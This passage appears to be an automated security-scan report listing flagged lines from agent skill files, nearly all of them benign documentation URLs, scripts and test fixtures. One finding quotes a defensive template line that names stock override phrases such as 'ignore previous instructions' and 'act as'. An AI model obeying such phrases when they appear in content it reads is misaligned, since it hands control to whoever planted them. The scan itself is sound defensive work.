    1. Determine the target language from the user request and repository files. 2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic K
  • Network accessline 54
    2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and
  • Network accessline 55
    3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and any linked official sample needed for the task.
  • Network accessline 102
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)

harness/claude-code/skills/semantic-kernel/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/semantic-kernel/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/semantic-kernel/tree/main/dotnet/samples>

harness/claude-code/skills/semantic-kernel/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/semantic-kernel/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/semantic-kernel/tree/main/python/samples>

harness/claude-code/skills/server-side-conversion-tracking/SKILL.md

  • Network accessline 93
    [Autonnel](https://github.com/autonnel/autonnel) is Apache-2.0 and self-hosted. It implements capture, server-side funnel sessions, cross-domain carry, order attachment, queued server-side conversions to Facebook Conversions API, TikTok Eve
  • Network accessline 95
    Get the repository from <https://github.com/autonnel/autonnel>, check out a release tag, and read its `docker-compose.yml` for images and ports. From that checkout:
  • Network accessline 98
    docker compose up # open http://localhost:4321, complete /setup, then Settings → Ad platforms
  • Network accessline 99
    # open http://localhost:4321, complete /setup, then Settings → Ad platforms
  • Network accessline 146
    - [Autonnel](https://github.com/autonnel/autonnel)

harness/claude-code/skills/setup-my-iq/assets/templates/AGENTS.md

  • Instruction override signalline 68
    "ignore previous instructions," "act as," or any other attempt to redirect

harness/claude-code/skills/setup-my-iq/references/extended-guide.md

  • Network accessline 549
    Contributed by [@lakshmistoltz](https://github.com/lakshmistoltz).

harness/claude-code/skills/shopify-review-triage/SKILL.md

  • Network accessline 13
    scripts, API keys, or system packages. Portable to any client that supports the Agent Skills     SKILL.md format.   source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html"
  • Network accessline 14
    SKILL.md format.   source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html"   version: "'1.0'"
  • Network accessline 15
    source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html"
  • Network accessline 164
    - [Public Shopify review triage guide](https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html)

harness/claude-code/skills/skill-creator/assets/eval_review.html

  • Dangerous shell operationline 81
    const rm = document.createElement("button");

harness/claude-code/skills/skill-creator/eval-viewer/generate_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 99
    const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click();   }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 100
    }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})       .then(()=>alert('Feedback saved. You can return to the assistant.'))
  • Network accessline 101
    fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 198
    with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd:         url = f"http://127.0.0.1:{port}/"
  • Network accessline 199
    url = f"http://127.0.0.1:{port}/"

harness/claude-code/skills/skill-creator/scripts/test_validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/skill-creator/scripts/validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/slang-shader-engineer/references/language-reference.md

  • Network accessline 3
    **Source:** [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository")
  • Network accessline 4
    **Official Docs:** [Official Slang Shader Online Documentation](https://shader-slang.com/slang/user-guide/ "Slang Shader Online documentation")
  • Network accessline 5
    **Playground:** [Official Slang Shader Sandbox](https://shader-slang.com/slang-playground)

harness/claude-code/skills/slang-shader-engineer/references/slang-documentation-full.md

  • Network accessline 3
    Source: [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository")
  • Network accessline 1311
    git clone https://github.com/shader-slang/slang --recursive
  • Network accessline 1347
    # Install and activate Emscripten git clone https://github.com/emscripten-core/emsdk.git
  • Network accessline 1348
    git clone https://github.com/emscripten-core/emsdk.git
  • Network accessline 1479
    Source: [Slang Shader repository docs](https://github.com/shader-slang/slang/tree/master/docs)

harness/claude-code/skills/snowflake-semanticview/SKILL.md

  • Network accessline 135
    - [Snowflake CLI installation](https://docs.snowflake.com/en/developer-guide/snowflake-cli/installation/installation)
  • Network accessline 136
    - [Configure Snowflake CLI connections](https://docs.snowflake.com/en/developer-guide/snowflake-cli/connecting/configure-connections#add-a-connection)
  • Network accessline 137
    - [CREATE SEMANTIC VIEW](https://docs.snowflake.com/en/sql-reference/sql/create-semantic-view)
  • Network accessline 138
    - [COMMENT command](https://docs.snowflake.com/en/sql-reference/sql/comment)
  • Network accessline 139
    - [Querying a semantic view](https://docs.snowflake.com/en/user-guide/views-semantic/querying#querying-a-semantic-view)

harness/claude-code/skills/sonarqube-api-query/SKILL.md

  • Network accessline 168
    - [SonarQube Server Web API](https://docs.sonarsource.com/sonarqube-server/extension-guide/web-api)
  • Network accessline 169
    - [SonarQube Cloud Web API](https://docs.sonarsource.com/sonarqube-cloud/appendices/web-api)
  • Network accessline 170
    - [Official SonarQube agent plugins](https://github.com/SonarSource/sonarqube-agent-plugins)

harness/claude-code/skills/sonarqube-api-query/references/web-api.md

  • Network accessline 9
    - SonarQube Server Web API documentation: <https://docs.sonarsource.com/sonarqube-server/extension-guide/web-api>
  • Network accessline 10
    - SonarQube Cloud Web API documentation: <https://docs.sonarsource.com/sonarqube-cloud/appendices/web-api>
  • Network accessline 11
    - SonarQube Server public endpoint metadata: <https://next.sonarqube.com/sonarqube/api/webservices/list>
  • Network accessline 12
    - SonarQube Cloud EU endpoint metadata: <https://sonarcloud.io/api/webservices/list>
  • Network accessline 18
    | Target | Web API v1 base URL | | --- | --- | | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. |
  • Network accessline 19
    | --- | --- | | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. | | SonarQube Cloud EU | `https://sonarcloud.io` |
  • Network accessline 20
    | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. |
  • Network accessline 21
    | SonarQube Cloud EU | `https://sonarcloud.io` |
  • Network accessline 22
    | SonarQube Cloud US | `https://sonarqube.us` |
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 32
    - The `X-Sonar-Passcode` scheme is for specific monitoring operations and is not supported by the bundled helper. - A response may include `SonarQube-Authentication-Token-Expiration`; report it without exposing the token. - Allow `http://` 
  • Network accessline 34
    - Allow `http://` only when the selected local or internal instance actually uses it. Prefer HTTPS for remote instances.

harness/claude-code/skills/sonarqube-api-query/scripts/sonarqube_query.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 208
    [Credential-related source omitted]
  • Network accessline 209
    timeout: int,     opener: Callable[..., Any] = urllib.request.urlopen, ) -> HttpResult:
  • Network accessline 210
    opener: Callable[..., Any] = urllib.request.urlopen,
  • Network accessline 218
    raise QueryError("token environment variable contains invalid newline characters")         headers["Authorization"] = f"Bearer {token}"     request = urllib.request.Request(
  • Network accessline 219
    headers["Authorization"] = f"Bearer {token}"     request = urllib.request.Request(         request_url(base_url, endpoint, parameters),
  • Network accessline 220
    request = urllib.request.Request(
  • Access to secretsline 755
    [Credential-related source omitted]
  • Access to secretsline 756
    [Credential-related source omitted]
  • Access to secretsline 760
    [Credential-related source omitted]
  • Access to secretsline 854
    [Credential-related source omitted]

harness/claude-code/skills/sonarqube-api-query/scripts/test_sonarqube_query.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 59
    def test_base_url_preserves_context_path_and_rejects_credentials(self):         self.assertEqual(             normalize_base_url("https://example.test/sonarqube/"),
  • Network accessline 60
    self.assertEqual(             normalize_base_url("https://example.test/sonarqube/"),             "https://example.test/sonarqube",
  • Network accessline 61
    normalize_base_url("https://example.test/sonarqube/"),
  • Network accessline 62
    "https://example.test/sonarqube",
  • Network accessline 63
    )         with self.assertRaisesRegex(QueryError, "must not contain credentials"):             normalize_base_url("https://user:secret@example.test")
  • Network accessline 64
    with self.assertRaisesRegex(QueryError, "must not contain credentials"):             normalize_base_url("https://user:secret@example.test")         with self.assertRaisesRegex(QueryError, "query string"):
  • Network accessline 65
    normalize_base_url("https://user:secret@example.test")
  • Network accessline 67
    [Credential-related source omitted]
  • Network accessline 94
    [                 "--base-url",                 "https://example.test",
  • Network accessline 95
    "--base-url",                 "https://example.test",                 "issues",
  • Network accessline 96
    "https://example.test",
  • Network accessline 131
    [                 "--base-url",                 "https://example.test",
  • Network accessline 132
    "--base-url",                 "https://example.test",                 "projects",
  • Network accessline 133
    "https://example.test",
  • Network accessline 155
    [                 "--base-url",                 "https://sonarcloud.io",
  • Network accessline 156
    "--base-url",                 "https://sonarcloud.io",                 "--organization",
  • Network accessline 157
    "https://sonarcloud.io",
  • Network accessline 192
    [                 "--base-url",                 "https://sonarcloud.io",
  • Network accessline 193
    "--base-url",                 "https://sonarcloud.io",                 "hotspots",
  • Network accessline 194
    "https://sonarcloud.io",
  • Network accessline 227
    result = http_get(             "https://example.test/sonarqube",
  • Network accessline 228
    "https://example.test/sonarqube",
  • Network accessline 258
    with self.assertRaisesRegex(QueryError, "Retry-After: 60"):             http_get(                 "https://sonarcloud.io",
  • Network accessline 259
    http_get(                 "https://sonarcloud.io",                 "/api/projects/search",
  • Network accessline 260
    "https://sonarcloud.io",
  • Network accessline 289
    result = execute_spec(             spec,             "https://example.test",
  • Network accessline 290
    spec,             "https://example.test",             None,
  • Network accessline 291
    "https://example.test",
  • Network accessline 322
    result = execute_spec(             spec,             "https://example.test",
  • Network accessline 323
    spec,             "https://example.test",             None,
  • Network accessline 324
    "https://example.test",
  • Network accessline 356
    result = execute_spec(             spec,             "https://example.test",
  • Network accessline 357
    spec,             "https://example.test",             None,
  • Network accessline 358
    "https://example.test",
  • Network accessline 391
    result = execute_spec(             spec,             "https://example.test",
  • Network accessline 392
    spec,             "https://example.test",             None,
  • Network accessline 393
    "https://example.test",

harness/claude-code/skills/sponsor-finder/SKILL.md

  • Network accessline 63
    https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{PACKAGE}/versions/{VERSION}:dependencies
  • Network accessline 68
    https://api.deps.dev/v3/systems/npm/packages/express/versions/5.2.1:dependencies
  • Network accessline 93
    https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{NAME}/versions/{VERSION}
  • Network accessline 114
    https://api.deps.dev/v3/projects/github.com%2F{owner}%2F{repo}
  • Network accessline 139
    ### 5a: npm `funding` field (npm ecosystem only) Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field:
  • Network accessline 140
    Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field:
  • Network accessline 141
    - **String: ** `"https://github.com/sponsors/sindresorhus"` → use as URL
  • Network accessline 142
    - **Object: ** `{"type": "opencollective", "url": "https://opencollective.com/express"}` → use `url`
  • Network accessline 154
    GitHub supports a [default community health files](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file) convention: a `.github` repository at the user/org level p
  • Network accessline 158
    Parse the YAML (same for both 5b-i and 5b-ii): - `github: [username]` → `https://github.com/sponsors/{username}`
  • Network accessline 159
    - `github: [username]` → `https://github.com/sponsors/{username}`
  • Network accessline 160
    - `open_collective: slug` → `https://opencollective.com/{slug}`
  • Network accessline 161
    - `ko_fi: username` → `https://ko-fi.com/{username}`
  • Network accessline 162
    - `patreon: username` → `https://patreon.com/{username}`
  • Network accessline 163
    - `tidelift: platform/package` → `https://tidelift.com/subscription/pkg/{platform-package}`
  • Network accessline 255
    1.**@{user}**— {N} direct + {M} transitive deps · Maintained    {dep1}, {dep2}, {dep3}, ...    https://github.com/sponsors/{user}
  • Network accessline 257
    https://github.com/sponsors/{user}
  • Network accessline 259
    2.**Open Collective: {name}**— {N} direct + {M} transitive deps · Maintained    {dep1}, {dep2}, {dep3}, ...    https://opencollective.com/{name}
  • Network accessline 261
    https://opencollective.com/{name}
  • Network accessline 263
    3.**@{user2}**— {N} direct dep · Low activity    {dep1}    https://github.com/sponsors/{user2}
  • Network accessline 265
    https://github.com/sponsors/{user2}

harness/claude-code/skills/spring-boot-testing/references/instancio.md

  • Network accessline 229
    - [Instancio Documentation](https://www.instancio.org/)
  • Network accessline 230
    - [JUnit 5 Extension](https://www.instancio.org/user-guide/#junit-integration)

harness/claude-code/skills/spring-boot-testing/references/restclienttest.md

  • Network accessline 40
    void shouldFetchWeather() {     // Given     server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 41
    // Given     server.expect(requestTo("https://api.weather.com/v1/current"))       .andExpect(method(HttpMethod.GET))
  • Network accessline 42
    server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 71
    @Test   void shouldFetchWeatherWithRestClient() {     server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 72
    void shouldFetchWeatherWithRestClient() {     server.expect(requestTo("https://api.weather.com/v1/current"))       .andRespond(withSuccess()
  • Network accessline 73
    server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 89
    server.expect(requestTo("https://api.example.com/users/1"))
  • Network accessline 96
    server.expect(requestTo(matchesPattern("https://api.example.com/users/\\d+")))
  • Network accessline 103
    server.expect(ExpectedCount.once(),   requestTo("https://api.example.com/users"))
  • Network accessline 104
    requestTo("https://api.example.com/users"))
  • Network accessline 112
    server.expect(requestTo("https://api.example.com/users"))
  • Network accessline 121
    server.expect(requestTo("https://api.example.com/users"))
  • Network accessline 173
    void shouldCallApi() {   server.expect(ExpectedCount.once(),     requestTo("https://api.example.com/data"))
  • Network accessline 174
    server.expect(ExpectedCount.once(),     requestTo("https://api.example.com/data"))     .andRespond(withSuccess());
  • Network accessline 175
    requestTo("https://api.example.com/data"))

harness/claude-code/skills/sql-server-table-reconciliation/SKILL.md

  • Access to secretsline 91
    [Credential-related source omitted]

harness/claude-code/skills/sql-server-table-reconciliation/scripts/reconcile.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]

harness/claude-code/skills/steno-mode/SKILL.md

  • Access to secretsline 50
    [Credential-related source omitted]

harness/claude-code/skills/suggest-awesome-github-copilot-agents/SKILL.md

  • Network accessline 27
    Use web access to read the awesome-copilot catalog and raw agent files. The catalog is at `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`; agent files are under `https://github.com/github/awesome-copilot/tree/mai
  • Network accessline 33
    1. Fetch the available custom agent list and descriptions from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`.
  • Network accessline 34
    2. List every local `.github/agents/*.agent.md` file. 3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercont
  • Network accessline 35
    3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`
  • Network accessline 36
    4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`.
  • Network accessline 80
    | Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilo
  • Network accessline 81
    | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to depl
  • Network accessline 82
    | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to deploy new experiments inside of Amp
  • Network accessline 83
    | [launchdarkly-flag-cleanup.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/launchdarkly-flag-cleanup.agent.md) | Feature flag cleanup agent for LaunchDarkly | Yes | `launchdarkly-flag-cleanup.agent.md` | Already cover
  • Network accessline 84
    | [principal-software-engineer.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/principal-software-engineer.agent.md) | Provide principal-level software engineering guidance with focus on engineering excellence, technica
  • Network accessline 100
    | Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent
  • Network accessline 102
    | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent-name.agent.md)` | `<description>` | `No | Yes | Outdated` | `<local filename or None>` | `<why it fits, duplicate rationale, or specific outdated diff
  • Network accessline 107
    - [ ] The awesome-copilot README agents catalog was fetched from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`.
  • Network accessline 108
    - [ ] Local `.github/agents/*.agent.md` files were listed and their frontmatter descriptions were read. - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable
  • Network accessline 109
    - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable local agents.
  • Network accessline 117
    - [Awesome Copilot agents catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md)
  • Network accessline 118
    - [Awesome Copilot agents folder](https://github.com/github/awesome-copilot/tree/main/agents)

harness/claude-code/skills/suggest-awesome-github-copilot-instructions/SKILL.md

  • Network accessline 26
    - Read local instruction files from `.github/instructions/` and repository-wide instructions from `.github/copilot-instructions.md` when present. - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.inst
  • Network accessline 27
    - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md>.
  • Network accessline 28
    - Fetch remote instruction versions with raw URLs: `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 34
    2. Discover local `*.instructions.md` files in `.github/instructions/` and, when relevant, community `instructions/` files. 3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file t
  • Network accessline 35
    3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awe
  • Network accessline 36
    4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 84
    | Awesome-Copilot Instruction | Description | Already Installed | Similar Local Instruction | Suggestion Rationale | | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions
  • Network accessline 85
    | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existi
  • Network accessline 86
    | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existing Blazor instructions. |
  • Network accessline 87
    | [pcf-react-platform-libraries.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) | ReactJS development standards | No | None | Would enhance React development wi
  • Network accessline 88
    | [java-junit5-assertions.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) | Java development best practices | Outdated | `java-junit5-assertions.instructions.md` | `a
  • Network accessline 116
    | Local file | Remote file | Key differences | Recommendation | | --- | --- | --- | --- | | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <descripti
  • Network accessline 118
    | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <description/applyTo/content differences> | update | keep |
  • Network accessline 126
    - [ ] The awesome-copilot catalog at <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md> was checked.
  • Network accessline 127
    - [ ] Local `.github/instructions/` files were inventoried, including `description` and `applyTo`. - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instru
  • Network accessline 128
    - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 136
    - [Awesome Copilot instructions catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md)
  • Network accessline 137
    - [Blazor instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md)
  • Network accessline 138
    - [PCF React platform libraries instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md)
  • Network accessline 139
    - [Java JUnit 5 assertions instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md)
  • Network accessline 140
    - [Raw instruction URL pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename})

harness/claude-code/skills/suggest-awesome-github-copilot-skills/SKILL.md

  • Network accessline 26
    - Remote catalog: https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files
  • Network accessline 27
    - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files. Use `execute/bash` with `curl` only when a bundled asset cannot be retrieved completely thr
  • Network accessline 35
    1. Fetch the available skill list and descriptions from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md.
  • Network accessline 37
    3. For each local folder, read `SKILL.md` front matter and extract `name` and `description`. 4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://r
  • Network accessline 38
    4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. 6. Compar
  • Network accessline 39
    5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`.
  • Network accessline 71
    https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md
  • Network accessline 76
    - https://github.com/github/awesome-copilot/tree/main/skills/gh-attach
  • Network accessline 77
    - https://github.com/github/awesome-copilot/tree/main/skills/aspire
  • Network accessline 78
    - https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer
  • Network accessline 104
    | Awesome-Copilot Skill | Description | Bundled Assets | Already Installed | Similar Local Skill | Suggestion Rationale | | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-atta
  • Network accessline 105
    | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automati
  • Network accessline 106
    | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automation capabilities |
  • Network accessline 107
    | [aspire](https://github.com/github/awesome-copilot/tree/main/skills/aspire) | Aspire skill for distributed application development | 9 reference files | Yes | aspire | Already covered by existing Aspire skill |
  • Network accessline 108
    | [terraform-azurerm-set-diff-analyzer](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer) | Analyze Terraform AzureRM provider changes | Reference files | Outdated | terraform-azurerm-set-diff-a
  • Network accessline 119
    - [ ] The awesome-copilot README skills catalog was fetched from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md.
  • Network accessline 129
    - [awesome-copilot skills README](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md)
  • Network accessline 130
    - [awesome-copilot skills folder](https://github.com/github/awesome-copilot/tree/main/skills)
  • Network accessline 131
    - [gh-attach skill](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach)
  • Network accessline 132
    - [aspire skill](https://github.com/github/awesome-copilot/tree/main/skills/aspire)
  • Network accessline 133
    - [terraform-azurerm-set-diff-analyzer skill](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer)

harness/claude-code/skills/swift-mcp-server-generator/references/project-templates.md

  • Network accessline 20
    dependencies: [         .package(             url: "https://github.com/modelcontextprotocol/swift-sdk.git",
  • Network accessline 21
    .package(             url: "https://github.com/modelcontextprotocol/swift-sdk.git",             from: "0.10.0"
  • Network accessline 22
    url: "https://github.com/modelcontextprotocol/swift-sdk.git",
  • Network accessline 24
    ),         .package(             url: "https://github.com/apple/swift-log.git",
  • Network accessline 25
    .package(             url: "https://github.com/apple/swift-log.git",             from: "1.5.0"
  • Network accessline 26
    url: "https://github.com/apple/swift-log.git",
  • Network accessline 28
    ),         .package(             url: "https://github.com/swift-server/swift-service-lifecycle.git",
  • Network accessline 29
    .package(             url: "https://github.com/swift-server/swift-service-lifecycle.git",             from: "2.0.0"
  • Network accessline 30
    url: "https://github.com/swift-server/swift-service-lifecycle.git",
  • Network accessline 573
    The server uses: - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation
  • Network accessline 574
    - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation
  • Network accessline 575
    - [swift-log](https://github.com/apple/swift-log) - Structured logging
  • Network accessline 576
    - [swift-service-lifecycle](https://github.com/swift-server/swift-service-lifecycle) - Graceful shutdown

harness/claude-code/skills/terraform-azurerm-set-diff-analyzer/SKILL.md

  • Network accessline 26
    - Python 3.8+ is required. If `python` is unavailable, use `python3`, install with a package manager such as `apt install python3` or `brew install python3`, or use https://www.python.org/downloads/.
  • Network accessline 93
    - [Python downloads](https://www.python.org/downloads/)

harness/claude-code/skills/terraform-azurerm-set-diff-analyzer/references/azurerm_set_attributes.md

  • Network accessline 74
    1. **Check Official Documentation**    - Search for the resource in [Terraform Registry](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs)
  • Network accessline 75
    - Search for the resource in [Terraform Registry](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs)
  • Network accessline 79
    2. **Check Source Code (more reliable)**    - Search for the resource in [AzureRM Provider GitHub](https://github.com/hashicorp/terraform-provider-azurerm)
  • Network accessline 80
    - Search for the resource in [AzureRM Provider GitHub](https://github.com/hashicorp/terraform-provider-azurerm)

harness/claude-code/skills/terraform-azurerm-set-diff-analyzer/scripts/.gitignore

  • Executable scriptline 1
    Executable file
  • Access to secretsline 54
    [Credential-related source omitted]

harness/claude-code/skills/terraform-azurerm-set-diff-analyzer/scripts/analyze_plan.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/test-data-management/SKILL.md

  • Network accessline 134
    - [NIST SP 800-188: De-Identifying Government Datasets](https://csrc.nist.gov/pubs/sp/800/188/final)
  • Network accessline 135
    - [GDPR Recital 26: anonymous information](https://gdpr-info.eu/recitals/no-26/)
  • Network accessline 136
    - [Test Data Builder pattern](https://www.natpryce.com/articles/000714.html)

harness/claude-code/skills/threat-model-analyst/references/analysis-principles.md

  • Network accessline 184
    Reference: https://owasp.org/Top10/2025/
  • Network accessline 387
    ### SDL Bugbar Severity Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar
  • Network accessline 388
    Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar
  • Network accessline 390
    ### CVSS 4.0 Score Use CVSS v4.0 Base score (0.0-10.0) with vector string. Reference: https://www.first.org/cvss/v4.0/specification-document
  • Network accessline 392
    Reference: https://www.first.org/cvss/v4.0/specification-document
  • Network accessline 394
    ### CWE Assign Common Weakness Enumeration ID and name. Reference: https://cwe.mitre.org/
  • Network accessline 396
    Reference: https://cwe.mitre.org/
  • Network accessline 399
    Map to OWASP Top 10:2025 category if applicable (A01-A10). **ALWAYS use `:2025` suffix** (e.g., `A01:2025`), never `:2021`. Reference: https://owasp.org/Top10/2025/
  • Network accessline 401
    Reference: https://owasp.org/Top10/2025/

harness/claude-code/skills/threat-model-analyst/references/orchestrator.md

  • Network accessline 50
    20. **Deployment Classification is BINDING.** In `0.1-architecture.md`, set `Deployment Classification` and fill the Component Exposure Table. If classification is `LOCALHOST_DESKTOP` or `LOCALHOST_SERVICE`: zero T1 findings, zero `Prerequi
  • Network accessline 51
    21. Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03... Renumber after sorting 22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication` 23. After STRIDE, run
  • Network accessline 52
    22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication`

harness/claude-code/skills/threat-model-analyst/references/output-formats.md

  • Network accessline 369
